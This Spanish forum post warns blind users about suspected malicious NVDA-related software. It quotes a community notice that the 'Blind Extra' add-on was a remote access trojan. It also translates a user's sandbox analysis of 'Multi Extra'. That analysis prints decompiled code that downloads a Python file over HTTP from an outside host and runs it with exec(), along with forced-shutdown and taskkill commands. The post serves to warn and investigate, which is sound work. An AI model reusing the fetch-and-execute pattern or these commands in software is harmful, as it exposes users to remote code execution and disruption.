Para hablar a fondo del tema partiré de un complemento, blind extra. en el hilo de audiogames dicen lo siguiente:
Hola.
bueno, vean este tema entonces, no es de mi mente, la compañía de nvda lo escribió.
https://addons.nvda-project.org/addons/blindExtra.en.html
Ahora, la traducción del oque dicen ahí:
Blind Extra
• Autor: Ahmed Star
Este complemento reclamaba permitir el acceso a cierto software adicional.
En noviembre de 2016, este complemento fue marcado como un troyano de acceso remoto (accediendo de forma remota a otra computadora y dañando archivos sin que los usuarios lo supieran) por miembros de la comunidad de complementos de NVDA por los siguientes motivos:
• Renombrar archivos después de usarlos por un tiempo sin que los usuarios lo noten.
• Acceso remoto, incluido el envío de mensajes de Skype.
Nota: este complemento nunca se alojó en el sitio web de complementos de la comunidad.
La comunidad de complementos exhorta a los usuarios de NVDA a que desinstalen este complemento y ejecuten programas antivirus, así como a formatear su disco si hay información sensible en esta computadora. La comunidad de complementos también desea recordar a los usuarios que tengan cuidado al instalar complementos de fuentes no confiables, ya que los complementos de NVDA pueden realizar varias cosas, incluido el acceso al sistema de archivos e Internet. Los complementos de NVDA son piezas poderosas de software que pueden hacer cosas increíbles, pero deben tratarse con cuidado. Los complementos que no provienen de este sitio no están controlados por la comunidad de complementos. Gracias.
Última edición: 12 de noviembre. 08:51:09 2016
Luego en el mensaje 35 del hilo el usuario jaybir dice:
Creo que lo importante aquí es que cuando la gente habla de robar archivos, lo que quieren decir es copiar sin su permiso.
Si alguien irrumpe en su casa y le roba el microondas o la televisión, lo sabría de inmediato porque ya no lo tiene. Si alguien ingresa a su computadora y roba sus archivos, generalmente no quiere que usted lo sepa, por lo que no los eliminará de su sistema. Así que puedes mantener tus archivos y seguir pensando que nada está mal, mientras que los malos también tienen tus archivos y, dependiendo de qué tipo de archivos sean, pueden hacer todo tipo de cosas indeseables, por lo general sin implicar ningún cambio en absoluto
en la forma en que funciona su computadora. Así que continúas pensando que nada está mal, hasta que un día alguien más libera un programa usando algo de tu código fuente. O alguien roba su identidad usando registros financieros robados de su computadora. O cualquier número de otra cosa.
Ahora paso a exponer lo que se dice de multi extra con el fragmento de código que se expuso, aquí me abstengo de comentar, ya que no soy programador en python, pero así por ensima entiendo algo de lo que se dice, y dejo
a los que saben para que lo amplíen.
BIEN BIEN. Todo el mundo lo refresca. Mientras hablamos, estoy realizando el sandboxing del programa y publicaré mis conclusiones una vez que haya desempaquetado los archivos de configuración y pueda acceder al ejecutable real.
(la configuración en sí no es perjudicial, según Virus total. Al analizar el programa instalado en mi sandbox, noto muchas cosas fuera de lo común, una de las cuales es notable: ¡este programa está escrito en Python! Python 3.6, para ser precisos. Al extraer el archivo de configuración ("instalarlo" en mi zona de pruebas) y al extraer el archivo .exe, veo los archivos de archivo de pyinstaller, y ahora tengo el código de bytes de Python compilado. En esta etapa, la descompilación es trivial: veo que la aplicación tiene el estándar de Python stdlib, chardot, y este archivo llamado ... MEX.pyc. Mmm ... y que podría ser esto?
¡Oh queridos! Algún código sospechoso! Mirad, amigos:
import glob, wx, urllib.request, re, sys, webbrowser, threading, subprocess, os, locale, win32clipboard, pyperclip, datetime, time, ctypes, gettext De aquí lo que mas me llama la atención es el fragmento webbrowser y el fragmento clipboard
from html2text import html2text
from playsound import playsound
import encodings.idna
get = os.environ['temp']
item = urllib.request.urlretrieve('http://softjewel.droppages.com/MultiExtra/Data/MAX.py', 'MAX.py')
exec(open('MAX.py').read())
Mirando este archivo "max.py" ...
Primero, importa sus módulos "necesarios". Luego ... hay un controlador de excepciones que hace que intente eliminarse del sistema de archivos. Si eso falla, no hace nada.
A continuación, intenta cambiar a c: ProgramData MultiExtra.
No demandar cómo funcionará eso ya que la aplicación no la crea (tal vez la configuración sí lo hace). Luego crea una carpeta de datos de aplicaciones y crea su archivo multiextra.ini.
Lo curioso, sin embargo, es cuántas descargas hace esta cosa. Hay otra descarga en la línea 92 (el resto de la discusión anterior está haciendo su configuración normal) que se lee utilizando la URL
http://softjewel.droppages.com/MultiExtra/Data/MAX.txt. (Tenga en cuenta la falta de 'https'). Este archivo ... no parece contener nada, si lo busco. También se enlaza a NVDA, también. (Tenga en cuenta que este es el archivo NVDA "real" y no es malicioso; solo la versión 2018.1.1, pero lo reemplaza con la última versión en softpedia por algún motivo).
Línea 474: subprocess.Popen("taskkill /f /pid {pid} /t".format(pid=self.process.pid), startupinfo=info)
También ejecuta el símbolo del sistema:
Línea 560: subprocess.Popen("cmd.exe /c pushd " + self.DPath + " & start MultiExtraDownloads\Apps", startupinfo=info)
Y esto...
Línea 562: subprocess.Popen("shutdown.exe -s -t 0", startupinfo=info)
Y, por supuesto, el final de la aplicación, cuando se intenta realizar tareas en sí mismas en lugar de salir correctamente:
Line 2,195: subprocess.Popen("taskkill /f /im MultiExtra.exe", startupinfo=info, shell=True)
Algunas cosas a tener en cuenta con estas llamadas de subproceso:
- Línea 474: subprocess.Popen("taskkill /f /pid {pid} /t".format(pid=self.process.pid), startupinfo=info):
Este no es dañino, a menos que, por supuesto, lo establezca en algo como el PID de csrss u otro proceso crítico del sistema si puede obtener ese nivel de privilegio.
- Línea 560: subprocess.Popen("cmd.exe /c pushd " + self.DPath + " & start MultiExtraDownloads\Apps", startupinfo=info):
Este es ... totalmente innecesario y sin sentido. No lo entiendo Realmente no entiendo lo que se intenta hacer (creo que "MultiExtraDownloads Apps" es una especie de script ejecutable o por lotes o algo así).
- Línea 562: subprocess.Popen("shutdown.exe -s -t 0", startupinfo=info):
-s apaga la computadora, solo; -t (/ t) le pide que haga un cierre inmediato.
También hay algunas otras llamadas os.remove que están aquí. Me encantaría descompilar completamente todo el código y subirlo a algún lugar para que personas como cartertemm lo revisen y lo revisen.
En cuanto a la acusación de que "este programa hace referencia a los archivos", lo estoy comprobando.
OK, no puedo confirmar eso de ninguna manera. No utiliza shutil o redes, que puedo ver de todos modos, aparte de urllib. No usa shutil, por lo que no puede hacer copys a granel, y no usa os.rename, os.renames o os.link/os.unlink, ni se comunica con ningún servidor remoto a través de protocolos poco claros. No es que yo pueda encontrar, en todo caso. Así que creo que por ahora podemos descartar esa acusación (aunque no cuente con eso, no he descompilado todo el árbol de programas).
En resumen: el programa realiza una actividad perturbadora que me gustaría que otros realizaran (no voy a leer todo el programa). En la superficie es * no * perjudicial. Repito: es * no * dañino en la superficie. Sin embargo, evitaría las acusaciones y los comentarios destructivos hasta que la gente como cartertemm (e incluso yo mismo si decido sumergirme en ese lío de código) pueda analizarlo por completo. Mientras tanto, dejaría de usarlo para no ser golpeado por algo que no hayamos encontrado.
En conclución, y yo que no me leí todo el hilo, el programita hace lo suyo y a grandes rasgos, pero como dice el texto de mas arriba, nadie lo cree hasta que pasa algo. Si en algúnm momento escribo un juego con un cierto punto de código malicioso en bgt pero a nadie le pasa nada visible, nadie creerá cuando llegue una acusación.
Si luego comienzan a salir a la luz públicas cosas privadas de usuarios las cuales no han ventilados, ahí todos van a creer. Aquí hay gente con mucho conocimiento, y lo suficientemente talentosa como para estar
haciendo cosas raras perjudicando a los demás, y no les importa. En vez de estar usando sus conocimientos para algo bueno; pero así es la vida y como es hay que vivirla.